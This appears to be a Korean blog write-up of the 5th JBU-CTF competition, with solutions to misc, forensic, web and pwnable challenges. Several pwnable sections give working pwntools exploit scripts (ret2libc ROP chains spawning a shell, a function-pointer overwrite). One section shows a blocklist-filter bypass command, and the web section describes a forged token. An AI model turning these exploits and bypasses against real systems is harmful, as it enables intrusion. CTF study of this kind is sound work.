Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

제 5회 JBU-CTF 본문

CTF

제 5회 JBU-CTF

pdw0412 2024. 12. 16. 14:20

 

 

후기

맨인블랫햇 이라는 팀으로 참가해 청소년부 3등, 우수상을 수상하게 되었습니다. 오랜만에 포너블문제가 많은 대회였어서 정말 좋았습니다. 로되리안으로 해결하지 못한 문제가 있어 아쉽고, 다른 대회들도 JBU 처럼 포너블이 많이 나왔으면 하는 바람이 있습니다. 롸업은 제가 해결한 문제만 넣었습니다.

 

Write Up

MISC - loggo

MISC - what the packet

Pwnable - givm3flag

Pwnable - Ace Fishing

Pwnable - stack

Pwnable - Command

Forensic - QuattuoR

Web - SQLkid

 

MISC - loggo

 

JBU CTF 로고 파일을 다운로드하고 보면 플래그가 있다.

 

scpCTF{HAHAHA_howyoufind}

 

 

 

MISC - what the packet

패킷을 하나씩 확인해 보다가 이런 패킷을 발견했다. username은 g0r4ni8 인데, password가 이상해서 살펴보니 sql injection 공격을 하는것으로 보인다. 이 패킷이 index.php 에서 나오는 것으로 보고 검색을 했다.

 

http.request.uri contains "/index.php"

 

이 명령어로 /index.php 관련된 패킷만 확인할 수 있다.

 

이후 패킷을 하나씩 내려가면서 확인해보면 0xb8 가 idx, 0xc8 이 시도하는 시도하는 문자 인것을 알 수 있었다. 그래서 idx가 변하는 순간에 그 이전 패킷의 문자가 flag[idx] 인 것으로 전체 flag를 구할 수 있다.

 

간혹 sql injection 페이로드가 다른 것을 확인할 수 있는데, 패킷을 더 분석해보면 '_' 인것을 확인할 수 있었다.

username은 g0r4ni8, password는 running_on_the_mead0w 이다.

 

scpCTF{g0r4ni8_running_on_the_mead0w}

 

 

 

 

 

Pwnable - giv3flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[76]; // [rsp+0h] [rbp-50h] BYREF
  int v5; // [rsp+4Ch] [rbp-4h]

  initialize(argc, argv, envp);
  v5 = 0;
  puts("Welcome to the Joongbu CTF!!");
  gets(s1);
  if ( !strcmp(s1, "Give me the flag") )
  {
    puts("That's not possible haha");
  }
  else if ( !strcmp(s1, "G i v e m e t h e f l a g") )
  {
    puts("Nope~");
  }
  else if ( !strcmp(s1, "G  i  v  e  m  e  t  h  e  f  l  a  g") )
  {
    puts("Hmm.. I'm thinking about it.");
  }
  else if ( !strcmp(s1, "Please give me the flag..") )
  {
    puts("I can't hear you well.");
  }
  else
  {
    if ( strcmp(s1, "FLAG, give it to me quickly") )
    {
      puts("Sorry.. I don't understand what you're saying");
      exit(1);
    }
    puts("Alright!!! I'll give it to you right now!!");
    if ( v5 == 1 )
    {
      puts("Here's the flag~ XD");
      system("cat ./FFFFLLLLAAAAGGGG");
    }
    else
    {
      puts("There's no flag?");
    }
  }
  return 0;
}

 

main함수를 보면 gets(s1); 에서 bof가 발생한다. rdi 가젯과 puts() 가 있기 때문에 rop로 쉘을 획득할 수 있다.

 

from pwn import *

#p=process('./givm3flag')
p=remote('44.210.9.208', 10016)
e=ELF('./givm3flag')
l=e.libc

got_puts=e.got['puts']
plt_puts=0x401094 #e.plt['puts']

main=0x40121D

ret=0x000000000040101a
pop_rdi=0x00000000004013d3
pop_rsi_r15=0x00000000004013d1

payload=b'Give me the flag\x00'.ljust(0x50, b'a')+p64(1)+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(main)

p.sendline(payload)
p.recvuntil(b"That's not possible haha\n")

libc_base=u64(p.recvn(6)+b'\x00'*2)-l.symbols['puts']
binsh=libc_base+list(l.search(b'/bin/sh'))[0]
system=libc_base+l.symbols['system']

payload=b'Give me the flag\x00'.ljust(0x50, b'a')+p64(1)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

p.sendline(payload)

p.interactive()

 

scpCTF{I'll_gi3YouF7ag!!!_ConGratua4ion@}

 

 

 

 

Pwnable - Ace Fishing

int exit_game()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Let's quit the game..");
  read(0, buf, 0x78uLL);
  return puts("\nGood Bye!!!");
}

 

다른 함수를 볼 필요 없이 exit_game() 에서 bof 취약점이 발생한다. rdi 가젯, puts() 로 간단하게 rop 하면 된다.

 

from pwn import *

#p=process('./ace_fishing')
p=remote('44.210.9.208', 10017)
e=ELF('./ace_fishing')
l=e.libc

got_puts=e.got['puts']
plt_puts=0x4010c4 #e.plt['puts']

exit_game=0x4016BB

ret=0x000000000040101a
pop_rdi=0x0000000000401833

p.sendline(b'4')

payload=b'a'*0x40+p64(1)+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(exit_game)

p.recv()
p.send(payload)
p.recvuntil(b'\nGood Bye!!!\n')

libc_base=u64(p.recvn(6)+b'\x00'*2)-l.symbols['puts']
print(hex(libc_base))

system=libc_base+l.symbols['system']
binsh=libc_base+list(l.search(b'/bin/sh'))[0]
payload=b'a'*0x40+p64(1)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

 

scpCTF{You_4r3_K1n&_0F_FiSh1nG!}

 

 

 

Pwnable - stack

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rax
  int v5; // [rsp+4h] [rbp-7Ch] BYREF
  int v6; // [rsp+8h] [rbp-78h] BYREF
  int v7; // [rsp+Ch] [rbp-74h]
  char v8[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v7 = 1;
  initialize(argc, argv, envp);
  while ( v7 )
  {
    puts("1. push\n2. pop\n3. print\n4. exit");
    printf("> ");
    __isoc99_scanf("%d", &v5);
    if ( v5 == 4 )
    {
      v7 = 0;
    }
    else if ( v5 <= 4 )
    {
      switch ( v5 )
      {
        case 3:
          printf("idx : ");
          __isoc99_scanf("%d", &v6);
          if ( v6 > top || v6 < 0 )
            exit(0);
          printf("stack[%d] = %s\n", (unsigned int)v6, &stack[100 * v6]);
          break;
        case 1:
          printf("stack[%d] : ", (unsigned int)(top + 1));
          __isoc99_scanf("%99s", v8);
          push(v8);
          break;
        case 2:
          puts("pop!");
          v3 = (const char *)pop();
          printf("stack[%d] = %s\n", (unsigned int)top, v3);
          break;
      }
    }
  }
  func();
  return 0;
}

 

char *__fastcall push(const char *a1)
{
  return strcpy(&stack[100 * ++top], a1);
}

 

stack 관련된 쿼리를 처리하고 마지막에 func() 를 실행한다.

 

 

.bss:0000000000404080 stdout@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:00000000004004E0↑o
.bss:0000000000404080                                         ; initialize+26↑r
.bss:0000000000404080                                         ; Alternative name is 'stdout'
.bss:0000000000404080                                         ; Copy of shared data
.bss:0000000000404088                 align 10h
.bss:0000000000404090                 public stdin@GLIBC_2_2_5
.bss:0000000000404090 ; FILE *stdin
.bss:0000000000404090 stdin@GLIBC_2_2_5 dq ?                  ; DATA XREF: LOAD:00000000004004F8↑o
.bss:0000000000404090                                         ; initialize+8↑r
.bss:0000000000404090                                         ; Alternative name is 'stdin'
.bss:0000000000404090                                         ; Copy of shared data
.bss:0000000000404098 completed_0     db ?                    ; DATA XREF: __do_global_dtors_aux+4↑r
.bss:0000000000404098                                         ; __do_global_dtors_aux+16↑w
.bss:0000000000404099                 align 20h
.bss:00000000004040A0                 public stack
.bss:00000000004040A0 ; char stack[1000]
.bss:00000000004040A0 stack           db 3E8h dup(?)          ; DATA XREF: push+41↑o
.bss:00000000004040A0                                         ; main+16C↑o
.bss:0000000000404488                 public func
.bss:0000000000404488 ; __int64 (*func)(void)
.bss:0000000000404488 func            dq ?                    ; DATA XREF: main+19D↑r
.bss:0000000000404488 _bss            ends

 

func는 stack 뒤에 위치하고 있는데, push() 에서 size 필터링이 없어서 out of bounds 가 발생한다. 그래서 func() 를 overwrite 하면 되며, 쉘을 주는 get_shell() 함수 또한 존재하기 때문에 이것으로 덮으면 된다.

 

from pwn import *

#p=process('./challenge')
p=remote('44.210.9.208', 10013)

shell=0x4012F2
for i in range(11) :
        p.sendlineafter(b'> ', b'1')
        p.sendline(p64(shell)*12)

p.interactive()

 

scpCTF{I'll_gi3YouF7ag!!!_ConGratua4ion@}

 

 

 

 

Pwnable - Command

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  printf("Center name: ");
  read(0, buf, 0x1FuLL);
  if ( (unsigned int)filter(buf) )
    system(buf);
  exit(0);
}

 

_BOOL8 __fastcall filter(const char *a1)
{
  if ( strncmp(a1, "ls", 2uLL) )
    return 0LL;
  if ( strstr(a1, "bin") )
    return 0LL;
  if ( strstr(a1, "sh") )
    return 0LL;
  if ( strchr(a1, 63) )
    return 0LL;
  if ( strchr(a1, 42) )
    return 0LL;
  if ( strchr(a1, 39) )
    return 0LL;
  if ( strstr(a1, "cat") )
    return 0LL;
  if ( strstr(a1, "head") )
    return 0LL;
  if ( strstr(a1, "tail") )
    return 0LL;
  if ( strstr(a1, "more") )
    return 0LL;
  if ( strstr(a1, "less") )
    return 0LL;
  if ( strstr(a1, "grep") )
    return 0LL;
  if ( strstr(a1, "awk") )
    return 0LL;
  if ( strstr(a1, "sed") )
    return 0LL;
  return strstr(a1, "flag") == 0LL;
}

 

filter() 를 분석하면 명령어의 시작은 "ls" 여아 하고, cat, head, tail ... 등등의 명령어를 사용했는지 필터링한다. 우리는 flag 파일을 읽어야 하는데 " 를 이용하여 우회할 수 있다. 

 

ls;"ca"t "fla"g

 

이런 페이로드를 활용하여 flag를 얻을 수 있다.

 

scpCTF{VfhQbDLZIaoQt2PzyypflOgnCTBVRK}

 

 

 

 

Forensic - QuattuoR

$ binwalk image.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 600 x 600, 8-bit/color RGB, non-interlaced
1360          0x550           PNG image, 165 x 165, 1-bit grayscale, non-interlaced
1401          0x579           Zlib compressed data, default compression
4096          0x1000          PNG image, 165 x 165, 1-bit grayscale, non-interlaced
4137          0x1029          Zlib compressed data, default compression
6288          0x1890          PNG image, 165 x 165, 1-bit grayscale, non-interlaced
6329          0x18B9          Zlib compressed data, default compression
10768         0x2A10          PNG image, 165 x 165, 1-bit grayscale, non-interlaced
10809         0x2A39          Zlib compressed data, default compression

 

리눅스에서 binwalk 명령어로 image.png 에 여러개의 이미지가 겹쳐있다는 것을 알 수 있다. hxd 로 직접 이미지를 추출하면 다음과 같은 이미지를 얻을 수 있다.

 

from PIL import Image

# 이미지 열기
img1 = Image.open("1.png")
img2 = Image.open("2.png")
img3 = Image.open("3.png")
img4 = Image.open("4.png")

# 각 이미지의 너비와 높이 가져오기
width1, height1 = img1.size
width2, height2 = img2.size
width3, height3 = img3.size
width4, height4 = img4.size

# 결과 이미지 크기 설정 (가로: img1, img2의 너비 합 / 세로: img1, img3의 높이 합)
result_width = max(width1, width2)
result_height = height1 + height3

# 새로운 빈 이미지 생성
result = Image.new("RGB", (result_width * 2, result_height))

# 이미지 붙이기
result.paste(img1, (0, 0))
result.paste(img2, (result_width, 0))
result.paste(img3, (0, height1))
result.paste(img4, (result_width, height1))

# 결과 이미지 저장
result.save("combined_image.png")

 

GPT 를 이용해 4개의 사진을 붙이는 코드를 작성했고, 그럼 다음과 같은 QR 코드를 얻을 수 있다.

이 QR 코드를 찍으면 flag를 얻을 수 있다.

 

scpCTF{Co113cT_d1V1d3d_QRc0d3}

 

 

 

 

Web - SQLkid

먼저 guest 로 로그인하여 토큰을 확인했다.

 

 

 

PAYLOAD 의 username 을 admin 으로 수정하고 다시 토큰에 넣었다.

 

 

Check Token을 하면 invalid 가 뜨지만 New Token을 한 후에 다시 Check Token을 하면 flag를 얻을 수 있다.

 

+ 개인적으로 웹해킹에 대한 조예가 거의 없기 때문에 왜 이렇게 되는지 잘 모르겠지만, 사실 이 풀이는 언인텐이라고 하고, 원래 인텐은 Blind Sql Injection 인데, 소스코드가 잘못 올라가 이런 문제가 되었다고 한다.

 

scpCTF{v3ry_e4sy_6lind_sq1}

'CTF' 카테고리의 다른 글

UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15
Layer7 CTF 2024  (0) 2025.01.13
LG U+ Security Hackathon : Growth Security 2024 Quals  (0) 2024.11.17
YISF 2024 Finals  (0) 2024.11.10
YISF 2024 Quals  (0) 2024.08.23